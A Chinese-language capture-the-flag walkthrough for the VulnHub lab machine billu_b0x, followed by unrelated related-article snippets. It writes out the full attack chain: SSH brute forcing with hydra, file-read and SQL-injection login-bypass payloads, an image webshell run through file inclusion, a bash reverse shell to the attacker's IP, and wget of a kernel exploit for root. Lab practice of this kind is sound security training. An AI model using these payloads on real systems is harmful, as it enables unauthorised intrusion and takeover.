vulnhub靶机billu_b0x精讲

devtools/2024/12/28 23:04:58/

靶机下载

https://www.vulnhub.com/entry/billu-b0x,188/

信息收集

扫描存活主机

nmap -sP 192.168.73.0/24

192.168.73.141为目标主机,对其进行进一步信息收集

端口扫描

nmap --min-rate=10000 -p- 192.168.73.141

目标只开放了22和80端口

针对端口进行TCP探测、服务探测、操作系统探测

nmap -T4 -sV -sT -sC -O -p80,22 192.168.73.141

22端口使用 OpenSSH 5.9p1版本

80开放了http服务,部署在Apache2.2.22上

目录扫描

针对http服务进行目录扫描

gobuster dir -u http://192.168.73.141/ -w /usr/share/wordlists/dirb/big.txt

扫描出可访问路径

/add
/c
/cmd
/head
/images
/images
/index
/in
/panel
/phpmy
/show
/test

漏洞挖掘

22端口渗透

ssh暴力破解

因为只开放了两个端口,攻击面较少,所以要利用任何能利用的点,首先想到爆破ssh密码,开启一个窗口让hydra后台去爆破密码

hydra -l root -P /root/Desktop/passwd-CN-Top10000.txt ssh://192.168.73.141 -V -f

ssh服务漏洞

看到nmap扫描结果中ssh服务使用的应用程序为OpenSSH 5.9p1,通过google搜索相关漏洞利用,发现并没有可以直接利用获取shell的攻击脚本,利用条件都很苛刻。

80端口(Web)渗透

访问通过目录爆破出的几个目录

http://192.168.73.141/index

http://192.168.73.141/add

http://192.168.73.141/c

http://192.168.73.141/cmd

http://192.168.73.141/images/

http://192.168.73.141/in

http://192.168.73.141/show

http://192.168.73.141/test

任意文件读取漏洞利用

通过观察/test目录,页面提示需要传入一个file的值,联想到任意文件读取、文件包含,这里先get去传参一个index.php

传入file值未index.php发现并没有反应,尝试修改请求方式,使用POST的方式发送数据包

POST /test HTTP/1.1
Host: 192.168.73.141
Content-Length: 14
Cache-Control: max-age=0
Origin: http://192.168.73.141
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.73.141/test?file=index
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=bopi12nfmudsn2c5gf05pm4eo4
Connection: keep-alivefile=index.php

这里读取到了index.php的源码,存在任意文件读取漏洞,分别尝试读取passwd和shadow,看看能不能获得shadow文件爆破hash直接获取到root密码。

passwd文件是可以直接读取到的,shadow文件没有权限读取,继续通过文件读取漏洞读取其他页面的源码进行代码审计。

文件上传漏洞利用

add目录下发现是一个文件上传的页面,利用文件包含审计源码是否做了过滤。

是没有做任何过滤的,尝试上传一个图片文件

响应包中没有返回文件的上传路径,这里猜测文件可能是上传到了/images目录下,但是观察了一下没有任何数据的更新。

SQL注入漏洞利用

通过文件包含漏洞读取到的index.php源码进行代码审计。

index.php包含了c.php,head.php,而index.php又是一个登录页面,很有可能包含的就是数据库配置文件,继续利用文件读取漏洞读取源码

读取到c.php就是数据库配置文件,并且给出了一个数据库账号。

127.0.0.1
billu
b0x_billu

尝试远程登录到mysql

数据库连接失败,因为在前期端口扫描没有扫描到mysql的服务端口,所以判断应该是修改了端口或者禁止远程登录。

尝试用账户凭证登录ssh

ssh billu@192.168.73.141
b0x_billu

登录失败

继续读取head.php的源码

也没有发现有用的信息。

继续分析index.php的源码,在下面发现了登录逻辑,可以尝试进行sql注入

$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';

登录逻辑代码中使用str_replace函数过滤了单引号,尝试绕过,将连接符"."分离后的sql查询语句

select * from auth where  pass=\'.$pass.\' and uname=\'.$uname.\'

这里的"\"就是转义字符,可以省略掉

select * from auth where  pass='pass' and uname='uname'

构造万能密码

pass传入\
uname传入or 1=1#

构造后的sql语句就变成了

select * from auth where pass='\' and uname='or 1=1#'

查询语句中的' and uname='就被逃逸出去成为了pass的值

pass='\' and uname='
or 1=1永真

成功登陆

这里发现了一个文件上传的页面,和add.php是一样的,再次上传文件

文件上传成功,文件被上传到了/uploaded_images/下

尝试上传一句话,使用%00截断、黑名单绕过、.htaccess利用,都失败了。

文件包含漏洞利用

继续读取登录后的panel.php源码

<?php
session_start();include('c.php');
include('head2.php');
if(@$_SESSION['logged']!=true )
{header('Location: index.php', true, 302);exit();}echo "Welcome to billu b0x ";
echo '<form method=post style="margin: 10px 0px 10px 95%;"><input type=submit name=lg value=Logout></form>';
if(isset($_POST['lg']))
{unset($_SESSION['logged']);unset($_SESSION['admin']);header('Location: index.php', true, 302);
}
echo '<hr><br>';echo '<form method=post><select name=load><option value="show">Show Users</option><option value="add">Add User</option>
</select> &nbsp<input type=submit name=continue value="continue"></form><br><br>';
if(isset($_POST['continue']))
{$dir=getcwd();$choice=str_replace('./','',$_POST['load']);if($choice==='add'){include($dir.'/'.$choice.'.php');die();}if($choice==='show'){include($dir.'/'.$choice.'.php');die();}else{include($dir.'/'.$_POST['load']);}}if(isset($_POST['upload']))
{$name=mysqli_real_escape_string($conn,$_POST['name']);$address=mysqli_real_escape_string($conn,$_POST['address']);$id=mysqli_real_escape_string($conn,$_POST['id']);if(!empty($_FILES['image']['name'])){$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);$image=array('jpeg','jpg','gif','png');if(in_array($r,$image)){$finfo = @new finfo(FILEINFO_MIME); $filetype = @$finfo->file($_FILES['image']['tmp_name']);if(preg_match('/image\/jpeg/',$filetype )  || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype )){if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name'])){echo "Uploaded successfully ";$update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')'; mysqli_query($conn, $update);}}else{echo "<br>i told you dear, only png,jpg and gif file are allowed";}}else{echo "<br>only png,jpg and gif file are allowed";}
}}?>

源码中分析出include函数没有做任何的过滤,存在任意文件包含漏洞,需要POST传参continue和load参数才能触发。

这里continue需要传入continue load需要传入图片马的地址

首先构造一个图片马上传到目标

重新访问panel.php,修改请求方式为POST,包含cmd.jpg,构造payload

POST /panel.php?cmd=whoami HTTP/1.1
Host: 192.168.73.141
Content-Length: 47
Cache-Control: max-age=0
Origin: http://192.168.73.141
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.73.141/panel.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=bopi12nfmudsn2c5gf05pm4eo4
Connection: keep-aliveload=/uploaded_images/cmd.jpg&continue=continue

成功执行系统命令

本地nc开启监听

nc -lvnp 8899

反弹shell

echo "bash -i >& /dev/tcp/192.168.73.138/8899 0>&1" | bash
//记得url编码

成功得到初始web权限的shell。

权限提升

用python启动一个shell以获得更好的交互性

python -c "import pty;pty.spawn('/bin/bash')"

信息收集

uname -a

内核提权

使用searchsploit搜索内核提权脚本

searchsploit Ubuntu kernel 3.13.0-32

searchsploit -m 37292

启动一个http服务,将exp放到上面,目标机器去下载

service apache2 start
cp 37292.c /var/www/html/37292.c
wget http://192.168.73.138/37292,c

发现www目录没有创建文件的权限,进入到uploaded_images目录下

cd uploaded_images
wget http://192.168.73.138/37292.c
gcc 37292.c 37292
./37292

成功提权到root权限

SSH密码爆破

刚才都没有注意到hydra已经把ssh密码跑出来了,尝试登陆一下

登录成功,也是获取root权限


http://www.ppmy.cn/devtools/146226.html

相关文章

node-js Express-路由模块化

路由模块化 减少多人开发过程中冲突&#xff0c;代码整洁&#xff0c;管理方便。&#xff08;不完全解释&#xff09; 模块化结构 routes里面放的是模块分类路由 // 以adminroute.js为例const express require(express)//创建路由对象const router express.Router()router…

全国硕士研究生入学考试(考研)考研时间线之大四

全国硕士研究生入学考试&#xff08;考研&#xff09;考研时间线之大四 在中国&#xff0c;考研&#xff08;研究生入学考试&#xff09;是许多本科生在完成四年本科学习后&#xff0c;进一步深造的重要途径。大四是考研准备的关键阶段&#xff0c;时间紧迫、任务繁重&#xf…

04软件测试需求分析案例-用户登录

通读文档&#xff0c;提取信息&#xff0c;提出问题&#xff0c;整理为需求。 从需求规格说明、设计说明、配置说明等文档获取原始需求&#xff0c;通读原始需求&#xff0c;分析有哪些功能&#xff0c;每种功能要完成什么业务&#xff0c;业务该如何实现&#xff0c;业务逻辑…

【RAG实战】语言模型基础

语言模型赋予了计算机理解和生成人类语言的能力。它结合了统计学原理和深度神经网络技术&#xff0c;通过对大量的样本数据进行复杂的概率分布分析来学习语言结构的内在模式和相关性。具体地&#xff0c;语言模型可根据上下文中已出现的词序列&#xff0c;使用概率推断来预测接…

uniapp中的条件编译

在script中 // #ifdef APP-PLUS console.log("11"); // #endif// #ifdef MP-WEIXIN console.log("22"); // #endif 在template中 <!-- #ifdef APP-PLUS --><view>哈哈哈</view> <!-- #endif --><!-- #ifdef MP-WEIXIN -->…

一维、线性卡尔曼滤波的例程(MATLAB)

这段 MATLAB 代码实现了一维线性卡尔曼滤波器的基本功能&#xff0c;用于估计在存在噪声的情况下目标状态的真实值 文章目录 一维线性卡尔曼滤波代码运行代码介绍1. **初始化部分**2. **数据生成**3. **卡尔曼滤波器实现**4. **结果可视化**5. **统计输出** 源代码 总结 一维线…

css绘制圆并绘制圆的半径

<div class"item1"></div>.item1 {position: relative;width: 420px;height: 420px;border-radius: 50%; /* 圆形 */color: white; /* 文本颜色 */background-color: rgba(154, 227, 36, 0.4); } .item1::before {content: "";position: absol…

技术与教育的结合:高校听课评价系统的设计与实施

3.1系统可行性分析 需要使用大部分精力开发的高校听课评价系统为了充分降低开发风险&#xff0c;特意在开发之前进行可行性分析这个验证系统开发是否可行的步骤。本文就会从技术角度&#xff0c;经济角度&#xff0c;还有用户使用的程序的运行角度进行综合阐述。 3.1.1 技术可行…